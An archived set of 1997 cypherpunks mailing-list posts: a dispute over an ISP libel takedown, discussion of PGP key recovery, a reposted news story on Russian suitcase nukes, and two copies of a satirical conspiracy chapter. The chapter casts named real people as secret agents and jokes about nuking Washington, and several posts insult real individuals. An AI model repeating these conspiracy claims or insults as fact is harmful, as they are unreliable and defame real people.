]In-Reply-To: <3279b6dd.124287235@mail.c2.net> from "netscum@c2.net" at "Oct
] 24, 96 00:26:22 am"
]X-Mailer: ELM [version 2.4ME+ PL22 (25)]
]MIME-Version: 1.0
]Content-Type: text/plain; charset=3DUS-ASCII
]Content-Transfer-Encoding: 7bit
]
]	I'm sorry. If you don't remove the illegal web pages we're
]going to be forced to shut off your account.
]
]> Dear Sameer,
]>
]> What was reported to you was mistaken.  The referenced page contains no
]> libel, and all the claims therein are factually correct and can be proved
]> easily by browing public documents in DejaNews and AltaVista.
]>
]> Good luck in your SPA lawsuit!!
]>
]>
]> On Wed, 23 Oct 1996 12:41:53 -0700 (PDT), sameer <sameer@c2.net> posted:
]>
]> >  	The URL in the subject (http://www.c2.net/~netscum/mayt0.html)
]> >  was reported to us as illegal libel. Please note that our policies
]> >  forbid any illegal activity on the site. Please remove this page as
]> >  soon as possible. Thank you.
]> >
]> >  --
]> >  Sameer Parekh					Voice:
]> 510-986-8770
]> >  C2Net						FAX:
]> 510-986-8777
]> >  The Internet Privacy Provider
]> >  http://www.c2.net/				sameer@c2.net
]> >
]>
]
]
]--
]Sameer Parekh					Voice:   510-986-8770
]C2Net						FAX:     510-986-8777
]The Internet Privacy Provider
]http://www.c2.net/				sameer@c2.net

You'd think that a pathologically litigious liar would know better than
to use terms like "illegal libel"...

Soon after this incident Parekh settled the copyright infringement suit,
pulled the plug on C2net's ISP business, and switched to peddling
(questionable) software.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 4 Oct 1997 14:19:26 +0800
To: minow@apple.com>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05aaebebd1c@[17.219.102.47]>
Message-ID: <Chameleon.875941853.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain




Though I hate the conmcept of key escrow, it actually makes sense for 
corporations to be able to have access to internal documents. Why they 
think having key escrow in place will stop people from being able to use 
other encryption as well is beyond me. I guess it's the same (stupid) 
mentality of the feds. They don't think anyone would be smart enough to use 
the escrowed encryption a a wrapper for the non-escrowed encryption.

amp

------------------------
  From: Martin Minow <minow@apple.com>
  Subject: New PGP "Everything the FBI ever dreamed of" 
  Date: Fri, 03 Oct 1997 07:30:33 -0700 
  To: risks@csl.sri.com
  Cc: cypherpunks@cyberpass.net


An article in today's (Fri, Oct 3) New York Times (CyberTimes)
<http://www.nytimes.com/library/cyber/week/100397pgp.html>
describes the new release of "PGP for Business Security 5.5," which
contains mechanisms that incorporate key recovery mechanism that can either
be volontary or be enforced by using PGP's software for controlling a
company's SMTP server -- the server can verify that all encrypted messages
include the corporate public key (or conform to other corporate policies):

=snip=

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 10/04/97
Time: 00:52:55
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Crockett Flintstone" <ccf@dev.null>
Date: Sat, 4 Oct 1997 15:12:24 +0800
To: cypherpunks@toad.com
Subject: InfoWar 29 / (Part III of 'The True Story of the InterNet')
Message-ID: <3435E80D.21AD@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Death & Texas 
2000


Death & Texas


"I see that our link to the past..." Jonathan
paused to remember what the hell the man was calling himself,
lately, "...The Same Guy, that's it..."

What had he been about to say?
Jonathan shook his head to clear away the fog that invariably
resulted from use of the Trei Transponder to make contact with...The
Same Guy.

"He fucked up the 'Death and Taxes' chapter title."
Alexis helped Jonathan regain his train of thought.

"Oh, yes, thank you." Jonathan sighed, and continued.

"Well, if he fails to pick up the reminder from the LMBoyd
sampler, then there's no telling what the next chapter will be
about, since he'll be away from the 'Home' for the weekend."

Priscilla added, "Perhaps we would have been better off
to let him usurp the TruthMonger multi-user personality, since
he seems to have become a one-man multi-user personality, all
on his own."

Bubba Rom Dos laughed, and reminded the others of one of his self-coined
'old-sayings':
"When you talk to yourself, that's normal. When you answer
yourself, that's a little weird, but nothing to seriously worry
about. However, when you say, 'Huh?'...you're in big, big trouble."


Subject: Sampler: October 3
Date: Fri, 3 Oct 1997 00:15:01 -0700
From: sampler-request@lmboyd.com

======================================================

Clients write: 

"What I think of when somebody says 'death and taxes' is
death only collects once."...
"What gets me is this is supposed to be National Apathy Week,
and nobody cares."...
"What I can't figure out is how hailstones were described
before golf balls were invented."

==============================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email

http://www.LMBoyd.com/postscript.htm


"Taxes!" The Same Guy exclaimed. "Damn!
Taxes..."

The Same Guy looked at the chapter of 'InfoWar' that he had been
working on for the last week. Now it made sense why he couldn't
quite get it all to quite come together.
Still, 'Death and Texas' had been a pretty good guess, since it
did tie in with some of the main players in the worldwide conspiracy
destined to come to fruition at the turn of the millennium.

Someone had gotten to Paula Jones' attorneys and forced them to
bow out of her sexual harassment suit against President Clinton,
so that the Puppet Masters behind the scenes could bring in a
heavy-hitter from Texas, and fund the attack on the President
through the spook-connected Rutherford Institute in Charlottesville,
Va.

"Donavan Campbell!" The Same Guy slapped
his forehead.

Now the obviously 'wrong' reference in chapter 26, "Everything
You Know Is Wrong," made sense.

"One of the reasons the Author attributed to his becoming
a computer guru in an amazingly short period of time, was his
entry into the computer arena as the apprentice of Bill Campbell,
one of the designers of the Adam motherboards, and the Authors
work with retarded children early in life."

The man referred to in this passage was the owner of CCPPR Computers,
Inc., in Tucson, Arizona. But his name was Bill Williams,
not Campbell.
The Same Guy had known that whoever had changed the name in the
manuscript while it was in route to the CypherPunks mailing list
was sending a message to someone that everything they knew about
something was wrong, and that it involved someone named Campbell,
from Texas, where the Author had worked with a number of retarded
children. The references to the Feminazis was another reference
to the use of Paula Jones for the attack on the Presidency, but
what about the reference to George Carlin?
The Same Guy had done a quick Web search for Paula Jones and George
Carlin using fuzzy pattern-matching, and came up with the email
from CNN's 'Carin' Dessauer announcing Paula Jones' switch of
attorneys.

"Yes, the one-two punch!" The Same Guy had leapt
from his chair and given himself a high-five, causing Baby to
look up at him as if she was glad she was a dog, and therefore
in no way related to these crazy humans.

Suddenly, everything was coming full circle..."Full
Magic Circle!" The Same Guy joked to himself,
laughing uproariously, and causing Baby to get up and go into
the next room to lay down, lest someone come along and think that
she was associated with this lunatic. Men...

"Sure, pretend you don't know me!" The Same Guy
hollered after Baby, knowing what she was doing.
"Just wait until people around the world are applauding
my genius and giving me the 'Key to the City' for my prophetic
foresight. Then you'll be sorry you're not there to accept the
'Doggie Bone to the City' for standing by my side, as my faithful
companion."

Baby just looked at him from her new spot on the Lazy Boy in the
front room, and put her head down to sleep, not seeming particularly
impressed.

"Awe-Stun Taxes." That's what the T-shirts
said.

The name of the man who engaged the Author to promote the T-shirts
for him was C. Crockett Flintstone. Crockett was not only person
responsible for introducing the Author to Sam Houston Johnson,
and politics, Texas style, but he was also the reason for the
Author's fortuitous encounter with gomez@basisinc,  and his subsequent
journey into the bowels of the UNIX operating system.

And, of course, there was the ugly scene at Don Politico's bar
in Austin, when the Author had introduced the prototype of a bumper-sticker
he had come up with, to sell in Dallas. It said, "Honk
if you killed Kennedy."


That was a long, long time ago, but the tangled, twisted trail
which had led The Same Guy to this point in time still revolved
around Death and Taxes, Death in Texas, and now...the Death
of Taxes.

But The Same Guy didn't want to write about Death, Taxes, Texas,
or any of that depressing stuff. He was tired of dealing with
the Dark Side of the conspiracy. He wanted to think about the
positive things that could be done to counter the Dark Terror
that was about to descend upon the world, once again. Stuff like
nuking DC.

Well, OK, maybe that was a bad example.


2000


"Looks like he's done fucking up the chapter." Alexis
smiled at Jonathan, as she put her arms around him and gave him
a peck on the cheek.
"Now it's your turn."

"Bubba! Cowboy! Grab the liquor and get your asses out
here, we've got work to do." Jonathan shouted to the
two men who were laying in their cots, trying to recover from
the exceedingly long hours they had put in the day and night before.


"The year 2000." Bubba shouted to Jonathan, dragging
himself out of bed. The Cowboy was rising equally slowly, beside
him.

"Already got it." Jonathan pointed to the chapter
title that lay waiting for a reason to exist. He took the bottle
from Bubba's hand as the old coot eased himself into a chair,
and poured three shots of bourbon while they waited for the Cowboy
to join them.

Jonathan glanced at Alexis, holding a fourth shotglass in his
hand.

"No, I have other things to do, unless you need a woman's
presence so that you guys can keep it in your pants long enough
to complete the chapter without jumping up and down and screaming,
'Nuke DC! Kill! Kill! Kill! Nuke DC!'."

The Cowboy gave Alexis a peck on the cheek as he passed by, assuring
her, "Run along dear, we have everything under control.
As a matter of fact, we think that after we finish prophesying
the past...our past-the CypherPunks' future...then we will
leave it up to the kindlier, gentler CypherPunks, such as Attila
T. Hun, to help light the way for the CypherPunks and the Circle
of Eunuchs to forge a new distant past for ourselves, and a new
future for themselves."
The Cowboy paused, to think about what he had just said, and
added, "It's hard to believe I haven't even had my morning
'hair of the dog' and I'm already on a roll."

Alexis shook her head and said, "Count me out. Just add
a disclaimer at the end of the chapter which involves the womenfolk
from any responsibility for stirring up the likes of Attila T.
Hun and Conan the Destroyer, or whoever you plan to incite to
join in your madness."

"Actually, I think that it is we who are joining in theirs."
Bubba said, sorting through some recent posts to the CypherPunks
list.
He turned to Jonathan and the Cowboy, as Alexis joined Priscilla
in making some adjustments to the Trei Transponder.

"Shall we sugar-coat it, or tell it like it is?"
Bubba asked his companions.

"The less time we take in the telling, the more time we
have for drinking." the Cowboy turned to Jonathan for
his opinion.

"I defer to the wisdom of my elders." Jonathan
smiled, pushing his shotglass forward for a refill.

"OK!" Bubba exclaimed. "Quick and dirty."

"2000. The end."

"Uuhhh, Bubba..." the Cowboy said, "...you
wouldn't mind terribly, would you, if I filled in a few details
before we close out the chapter and open another bottle?"

Bubba waved for the Cowboy to proceed, pouring himself another
shot.

The Cowboy decided to lay out the basics and let those actually
living in the era confirm the details of the flow of InformEnergy
that lay in their future if they failed to take steps to counterbalance
the attempts of the Dark Allies to force the past, present and
future into a narrow mold corresponding to the desires of the
Evil One.

Now playing at a Whitehouse near you-the one, two punch.
 Clinton and Gore are destined to be run out of town on a train,
similar to the Nixon and Agnew railroading. The players behind
the scenes laid the groundwork for setting them up like bowling
pins, only to be knocked down once they had served the purpose
of smiling benignly as the shakers and movers drove the final
nail in the coffin of democracy by getting the line-item veto
passed.

Once this was done, most of the substructure was then in place
for bringing in the new millennium with a New World Order, compliments
of Josef Goebbels, George Bush, and a Dictator To Be Named Later
(Monty Cantsin?).
There were already non-elected Committees and Commissions in place
that had the power to arbitrarily enact the draconian measures
that had been pre-approved in order to deal with the National
Security Emergencies that were already on the drawing boards,
waiting only for all of the pieces to fall in place.

The last decade of the millennium was mostly used for fine-tuning
all of the parts of the maleficent machines that had been created
and developed for the purpose of providing the physical tools
necessary for instituting a worldwide dictatorship of the Evil
One across the face of the earth. 

The mass media had been co-opted and brought under control,
now being basically a press-release arm of the government and
corporations, through the influence of powerful figures who pulled
their strings from the shadows above them.
Once the control of the media had been confirmed during Desert
Storm, the process of consolidating that control proceeded rapidly.
The government had given those on the growing InterNet a fairly
free rein, in order to let them remain a large enough threat to
the established, mainstream media, that the government could seal
their lips and their loyalty with a fifty billion dollar digital
bandwidth giveaway that would ensure their financial stability
and dominance in the technology of the future.

Little did even the press, let alone the public, know that
the import of the digital bandwidth placed in the hands of the
established media was much greater than it appeared on the surface.
The government already had the technology in place to turn the
digital airwaves into the InterNet technology of the future. 

By the time that the new technologies developed in the government's
underground laboratories around the world were revealed to the
public as 'new' breakthroughs, they had invariably already been
in use for years by the secret government's agents.
(Like the radar that can see through walls, being 'announced'
as a new technology developed at Lawrence Livermore Labs. CypherPunk
Kent Crispin had known about its existence for years, having used
it extensively himself-not that he didn't trust his wife...)

The World Wide Web was completely under control of the military,
having been carefully woven under the watchful eyes of DARPA,
who preferred to centralize development of the WWW under CERN,
in Europe, in order to get around sticky US laws regarding privacy
and freedom. They could move pawns, shills and agents, such as
Tim Berners-Lee, Ben Segal, and Phillip Hallam-Baker back and
forth between CERN, MIT, and other openly clandestine institutions
which served to host the distributed network of quasi-military
secret agents supporting the grand designs of Gomez and the Dark
Allies.
The world at large would little notice that the development of
the technology behind the Digital Revolution lie in the same hands
as the development of the atomic bomb and nuclear energy. The
military, high-security scientists, secret committees and clandestine
intelligence organizations-with a background of spooks, spies,
and assorted secret societies and their agents, all having their
strings pulled by Puppet Masters who remained unknown behind the
scenes that were being played out on the stage of everyday reality.

Those who cheered the 'failure' of the Clipper Chip, the 'victory'
of the Bernstein ruling, or the 'defeat' of the CDA, little realized
that these were merely diversionary maneuvers for the real battles
which were taking place in the background, between those who were
participating in an underground war which was for 'all the marbles.'

Like the battles over the intricate details of what types of 'legal'
wiretapping would or would not be 'allowed' by the laws of society,
the openly fought battles over freedom and privacy were being
waged only for the purposes of defining the virtual reality of
a world view which was actually based on an underlying 'operating
system' which was hidden from the view of the 'average user.'

While anti-trust battles were openly being waged with the likes
of Microsoft and Intel, the real deals were being cut in the secret
meetings between the movers and shakers who could say, "Let
there be back doors:" and there would be back doors.

While Jane and Joe Normal were playing with their Graphical
User Interfaces, the operating system of the underlying reality
was being defined, manipulated and controlled by those in the
subterranean layers of their Digital Society-by those with access
to the 'Command Line.'

The 'Above-Ground Players' were working a virtual theater in
which the battles they were fighting on the public stage had already
been won by the Authors of the scripts, who remained in the background,
already knowing how the Grand Play would come to an end, in its
final scene.
Except for the 'Baker Street Irregulars'...


The CypherPunks had recognized the final challenge being thrown
down by those playing on the outer stage of reality.

"The Feds have shown their hand: they want a ban on
domestic cryptography"
Tim C. May's weather-vane signature line pointed out that
a new game was afoot.

What even most of the CypherPunks failed to realize, however,
was the timing of the announced intention to begin enforcement
of the draconian measures being proposed by Lying Fuck Louis Freeh
('eLFeLF' to his friends.)
1999...

Why 1999?

Can you say "Taxes."? Sure you can.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Crockett Flintstone" <ccf@dev.null>
Date: Sat, 4 Oct 1997 16:04:48 +0800
To: cypherpunks@toad.com
Subject: InfoWar 29 / The GeigerText Edition
Message-ID: <3435E835.675F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Death & Texas
   * 2000

----------------------------------------------------------------------------

                                Death & Texas
----------------------------------------------------------------------------

"I see that our link to the past..." Jonathan paused to remember what the hell
the man was calling himself, lately, "...The Same Guy, that's it..."

What had he been about to say?
Jonathan shook his head to clear away the fog that invariably resulted from
use of the Trei Transponder to make contact with...The Same Guy.

"He fucked up the 'Death and Taxes' chapter title." Alexis helped Jonathan
regain his train of thought.

"Oh, yes, thank you." Jonathan sighed, and continued.
"Well, if he fails to pick up the reminder from the LMBoyd sampler, then
there's no telling what the next chapter will be about, since he'll be away
from the 'Home' for the weekend."

Priscilla added, "Perhaps we would have been better off to let him usurp the
TruthMonger multi-user personality, since he seems to have become a one-man
multi-user personality, all on his own."

Bubba Rom Dos laughed, and reminded the others of one of his self-coined
'old-sayings':
"When you talk to yourself, that's normal. When you answer yourself, that's
a little weird, but nothing to seriously worry about. However, when you say,
'Huh?'...you're in big, big trouble."
----------------------------------------------------------------------------

Subject: Sampler: October 3
Date: Fri, 3 Oct 1997 00:15:01 -0700
From: sampler-request@lmboyd.com

======================================================

Clients write:

"What I think of when somebody says 'death and taxes' is death only collects
once."...
"What gets me is this is supposed to be National Apathy Week, and nobody
cares."...
"What I can't figure out is how hailstones were described before golf balls
were invented."

==============================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
http://www.LMBoyd.com/postscript.htm
----------------------------------------------------------------------------

"Taxes!" The Same Guy exclaimed. "Damn! Taxes..."

The Same Guy looked at the chapter of 'InfoWar' that he had been working on
for the last week. Now it made sense why he couldn't quite get it all to
quite come together.
Still, 'Death and Texas' had been a pretty good guess, since it did tie in
with some of the main players in the worldwide conspiracy destined to come
to fruition at the turn of the millennium.

Someone had gotten to Paula Jones' attorneys and forced them to bow out of
her sexual harassment suit against President Clinton, so that the Puppet
Masters behind the scenes could bring in a heavy-hitter from Texas, and fund
the attack on the President through the spook-connected Rutherford Institute
in Charlottesville, Va.

"Donavan Campbell!" The Same Guy slapped his forehead.

Now the obviously 'wrong' reference in chapter 26, "Everything You Know Is
Wrong," made sense.

"One of the reasons the Author attributed to his becoming a computer guru in
an amazingly short period of time, was his entry into the computer arena as
the apprentice of Bill Campbell, one of the designers of the Adam
motherboards, and the Authors work with retarded children early in life."

The man referred to in this passage was the owner of CCPPR Computers, Inc.,
in Tucson, Arizona. But his name was Bill Williams, not Campbell.
The Same Guy had known that whoever had changed the name in the manuscript
while it was in route to the CypherPunks mailing list was sending a message
to someone that everything they knew about something was wrong, and that it
involved someone named Campbell, from Texas, where the Author had worked
with a number of retarded children. The references to the Feminazis was
another reference to the use of Paula Jones for the attack on the
Presidency, but what about the reference to George Carlin?
The Same Guy had done a quick Web search for Paula Jones and George Carlin
using fuzzy pattern-matching, and came up with the email from CNN's 'Carin'
Dessauer announcing Paula Jones' switch of attorneys.

"Yes, the one-two punch!" The Same Guy had leapt from his chair and given
himself a high-five, causing Baby to look up at him as if she was glad she
was a dog, and therefore in no way related to these crazy humans.

Suddenly, everything was coming full circle..."Full Magic Circle!" The Same
Guy joked to himself, laughing uproariously, and causing Baby to get up and
go into the next room to lay down, lest someone come along and think that
she was associated with this lunatic. Men...

"Sure, pretend you don't know me!" The Same Guy hollered after Baby, knowing
what she was doing.
"Just wait until people around the world are applauding my genius and giving
me the 'Key to the City' for my prophetic foresight. Then you'll be sorry
you're not there to accept the 'Doggie Bone to the City' for standing by my
side, as my faithful companion."

Baby just looked at him from her new spot on the Lazy Boy in the front room,
and put her head down to sleep, not seeming particularly impressed.

"Awe-Stun Taxes." That's what the T-shirts said.

The name of the man who engaged the Author to promote the T-shirts for him
was C. Crockett Flintstone. Crockett was not only person responsible for
introducing the Author to Sam Houston Johnson, and politics, Texas style,
but he was also the reason for the Author's fortuitous encounter with
gomez@basisinc, and his subsequent journey into the bowels of the UNIX
operating system.

And, of course, there was the ugly scene at Don Politico's bar in Austin,
when the Author had introduced the prototype of a bumper-sticker he had come
up with, to sell in Dallas. It said, "Honk if you killed Kennedy."

That was a long, long time ago, but the tangled, twisted trail which had led
The Same Guy to this point in time still revolved around Death and Taxes,
Death in Texas, and now...the Death of Taxes.

But The Same Guy didn't want to write about Death, Taxes, Texas, or any of
that depressing stuff. He was tired of dealing with the Dark Side of the
conspiracy. He wanted to think about the positive things that could be done
to counter the Dark Terror that was about to descend upon the world, once
again. Stuff like nuking DC.

Well, OK, maybe that was a bad example.
----------------------------------------------------------------------------

                                    2000
----------------------------------------------------------------------------

"Looks like he's done fucking up the chapter." Alexis smiled at Jonathan, as
she put her arms around him and gave him a peck on the cheek.
"Now it's your turn."

"Bubba! Cowboy! Grab the liquor and get your asses out here, we've got work
to do." Jonathan shouted to the two men who were laying in their cots,
trying to recover from the exceedingly long hours they had put in the day
and night before.

"The year 2000." Bubba shouted to Jonathan, dragging himself out of bed. The
Cowboy was rising equally slowly, beside him.

"Already got it." Jonathan pointed to the chapter title that lay waiting for
a reason to exist. He took the bottle from Bubba's hand as the old coot
eased himself into a chair, and poured three shots of bourbon while they
waited for the Cowboy to join them.

Jonathan glanced at Alexis, holding a fourth shotglass in his hand.

"No, I have other things to do, unless you need a woman's presence so that
you guys can keep it in your pants long enough to complete the chapter
without jumping up and down and screaming, 'Nuke DC! Kill! Kill! Kill! Nuke
DC!'."

The Cowboy gave Alexis a peck on the cheek as he passed by, assuring her,
"Run along dear, we have everything under control. As a matter of fact, we
think that after we finish prophesying the past...our past-the CypherPunks'
future...then we will leave it up to the kindlier, gentler CypherPunks, such
as Attila T. Hun, to help light the way for the CypherPunks and the Circle
of Eunuchs to forge a new distant past for ourselves, and a new future for
themselves."
The Cowboy paused, to think about what he had just said, and added, "It's
hard to believe I haven't even had my morning 'hair of the dog' and I'm
already on a roll."

Alexis shook her head and said, "Count me out. Just add a disclaimer at the
end of the chapter which involves the womenfolk from any responsibility for
stirring up the likes of Attila T. Hun and Conan the Destroyer, or whoever
you plan to incite to join in your madness."

"Actually, I think that it is we who are joining in theirs." Bubba said,
sorting through some recent posts to the CypherPunks list.
He turned to Jonathan and the Cowboy, as Alexis joined Priscilla in making
some adjustments to the Trei Transponder.

"Shall we sugar-coat it, or tell it like it is?" Bubba asked his companions.

"The less time we take in the telling, the more time we have for drinking."
the Cowboy turned to Jonathan for his opinion.

"I defer to the wisdom of my elders." Jonathan smiled, pushing his shotglass
forward for a refill.

"OK!" Bubba exclaimed. "Quick and dirty."

"2000. The end."

"Uuhhh, Bubba..." the Cowboy said, "...you wouldn't mind terribly, would you, if
I filled in a few details before we close out the chapter and open another
bottle?"

Bubba waved for the Cowboy to proceed, pouring himself another shot.

The Cowboy decided to lay out the basics and let those actually living in
the era confirm the details of the flow of InformEnergy that lay in their
future if they failed to take steps to counterbalance the attempts of the
Dark Allies to force the past, present and future into a narrow mold
corresponding to the desires of the Evil One.

Now playing at a Whitehouse near you-the one, two punch.
Clinton and Gore are destined to be run out of town on a train, similar to
the Nixon and Agnew railroading. The players behind the scenes laid the
groundwork for setting them up like bowling pins, only to be knocked down
once they had served the purpose of smiling benignly as the shakers and
movers drove the final nail in the coffin of democracy by getting the
line-item veto passed.

Once this was done, most of the substructure was then in place for bringing
in the new millennium with a New World Order, compliments of Josef Goebbels,
George Bush, and a Dictator To Be Named Later (Monty Cantsin?).
There were already non-elected Committees and Commissions in place that had
the power to arbitrarily enact the draconian measures that had been
pre-approved in order to deal with the National Security Emergencies that
were already on the drawing boards, waiting only for all of the pieces to
fall in place.

The last decade of the millennium was mostly used for fine-tuning all of the
parts of the maleficent machines that had been created and developed for the
purpose of providing the physical tools necessary for instituting a
worldwide dictatorship of the Evil One across the face of the earth.

The mass media had been co-opted and brought under control, now being
basically a press-release arm of the government and corporations, through
the influence of powerful figures who pulled their strings from the shadows
above them.
Once the control of the media had been confirmed during Desert Storm, the
process of consolidating that control proceeded rapidly. The government had
given those on the growing InterNet a fairly free rein, in order to let them
remain a large enough threat to the established, mainstream media, that the
government could seal their lips and their loyalty with a fifty billion
dollar digital bandwidth giveaway that would ensure their financial
stability and dominance in the technology of the future.

Little did even the press, let alone the public, know that the import of the
digital bandwidth placed in the hands of the established media was much
greater than it appeared on the surface. The government already had the
technology in place to turn the digital airwaves into the InterNet
technology of the future.
By the time that the new technologies developed in the government's
underground laboratories around the world were revealed to the public as
'new' breakthroughs, they had invariably already been in use for years by
the secret government's agents.
(Like the radar that can see through walls, being 'announced' as a new
technology developed at Lawrence Livermore Labs. CypherPunk Kent Crispin had
known about its existence for years, having used it extensively himself-not
that he didn't trust his wife...)

The World Wide Web was completely under control of the military, having been
carefully woven under the watchful eyes of DARPA, who preferred to
centralize development of the WWW under CERN, in Europe, in order to get
around sticky US laws regarding privacy and freedom. They could move pawns,
shills and agents, such as Tim Berners-Lee, Ben Segal, and Phillip
Hallam-Baker back and forth between CERN, MIT, and other openly clandestine
institutions which served to host the distributed network of quasi-military
secret agents supporting the grand designs of Gomez and the Dark Allies.
The world at large would little notice that the development of the
technology behind the Digital Revolution lie in the same hands as the
development of the atomic bomb and nuclear energy. The military,
high-security scientists, secret committees and clandestine intelligence
organizations-with a background of spooks, spies, and assorted secret
societies and their agents, all having their strings pulled by Puppet
Masters who remained unknown behind the scenes that were being played out on
the stage of everyday reality.

Those who cheered the 'failure' of the Clipper Chip, the 'victory' of the
Bernstein ruling, or the 'defeat' of the CDA, little realized that these
were merely diversionary maneuvers for the real battles which were taking
place in the background, between those who were participating in an
underground war which was for 'all the marbles.'
Like the battles over the intricate details of what types of 'legal'
wiretapping would or would not be 'allowed' by the laws of society, the
openly fought battles over freedom and privacy were being waged only for the
purposes of defining the virtual reality of a world view which was actually
based on an underlying 'operating system' which was hidden from the view of
the 'average user.'
While anti-trust battles were openly being waged with the likes of Microsoft
and Intel, the real deals were being cut in the secret meetings between the
movers and shakers who could say, "Let there be back doors:" and there would
be back doors.

While Jane and Joe Normal were playing with their Graphical User Interfaces,
the operating system of the underlying reality was being defined,
manipulated and controlled by those in the subterranean layers of their
Digital Society-by those with access to the 'Command Line.'

The 'Above-Ground Players' were working a virtual theater in which the
battles they were fighting on the public stage had already been won by the
Authors of the scripts, who remained in the background, already knowing how
the Grand Play would come to an end, in its final scene.
Except for the 'Baker Street Irregulars'...

The CypherPunks had recognized the final challenge being thrown down by
those playing on the outer stage of reality.

"The Feds have shown their hand: they want a ban on domestic cryptography"
Tim C. May's weather-vane signature line pointed out that a new game was
afoot.

What even most of the CypherPunks failed to realize, however, was the timing
of the announced intention to begin enforcement of the draconian measures
being proposed by Lying Fuck Louis Freeh ('eLFeLF' to his friends.)
1999...

Why 1999?

Can you say "Taxes."? Sure you can.
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka <root@DosLinux>
Date: Sat, 4 Oct 1997 16:50:36 +0800
To: cypherpunks@toad.com
Subject: russia_1.html
Message-ID: <199710040438.EAA00226@DosLinux>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
   Beatrice shows you the best sites for... Beatrice's Web Guide
   [Relationships.....]    Show me!
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: U.S. Sees Hope for War Criminals' Surrender
   Next Story: U.S. Searches for Its Oldest Worker
     _________________________________________________________________
   
   Friday October 3 7:09 PM EDT 
   
US Sees No KGB Role in Russia's Nuclear Arms

   WASHINGTON (Reuter) - The United States Friday rejected the claim of a
   Russian scientist that Moscow had secretly developed nuclear "suitcase
   bombs" under KGB orders in the 1970s specifically for terrorist
   purposes.
   
   "We have no information or evidence suggesting that nuclear weapons
   were ever developed for or put under the control of the KGB, which is
   part of the story here," State Department spokesman James Rubin said.
   
   Rubin, reflecting previous U.S. statements, did not deny so-called
   "suitcase bombs" may be part of Russia's arsenal.
   
   "We cannot comment...about the precise specifications or dimensions of
   any nuclear weapons," he told reporters.
   
   But he repeated the U.S. view that "there is no evidence other than
   hearsay to support such claims" that portable Russian nuclear weapons
   may have gone missing.
   
   "There's probably no issue where you have the combined resources of
   the U.S. government working as well together and with such
   determination as the issue of security of nuclear weapons, and we work
   on it every day, hundreds if not thousands of people in the
   government," he said.
   
   "And if they say that we have no information on this and they say that
   these accounts are hearsay, that's pretty compelling," Rubin added.
   
   Testifying before Congress Thursday, Alexei Yablokov, a respected
   scientist who served on the Russian National Security Council,
   contradicted statements by Russian officials denying the existence of
   the weapons and buttressed claims that many of them have gone missing.
   
   "I am absolutely sure that they have been made," he told the House
   Military Research and Development subcommittee.
   
   The issue arose when former Russian National Security Adviser Alexandr
   Lebed alleged that up to 100 portable suitcase-sized bombs were
   unaccounted for since the 1991 breakup of the Soviet Union.
   
   According to Lebed, who has agreed to testify before the House
   committee later this month, the devices have an explosive capacity of
   one kiloton -- the equivalent of 1,000 tons of TNT -- can be activated
   by a single person and could kill as many as 100,000 people.
   
   Yablokov said he had spoken to the scientists who worked on the
   weapons and so was certain of their existence.
   
   But he said the former Soviet Defense Ministry might never have known
   about the so-called "atomic demolition munitions" because they were
   developed for the KGB spy service under a secret program.
   
   On the issue of possible missing nuclear weapons, Rubin said Moscow
   "continues to assure us that it retains adequate command and control
   and that appropriate physical security arrangements exist for these
   weapons and facilities."
   
   "We have no reason or evidence to doubt these assurances," he said.
     _________________________________________________________________
                                      
                 ________________________ Search News Help
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   Previous Story: U.S. Sees Hope for War Criminals' Surrender
   Next Story: U.S. Searches for Its Oldest Worker
   
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    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@xs4all.nl>
Date: Sat, 4 Oct 1997 14:13:11 +0800
To: Martin Minow <minow@apple.com>
Subject: Re: New PGP "Everything the FBI ever dreamed of"
Message-ID: <3.0.3.32.19971004062137.007cce40@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 3 Oct 1997 17:27:29 +0200, in list.cypherpunks you wrote:

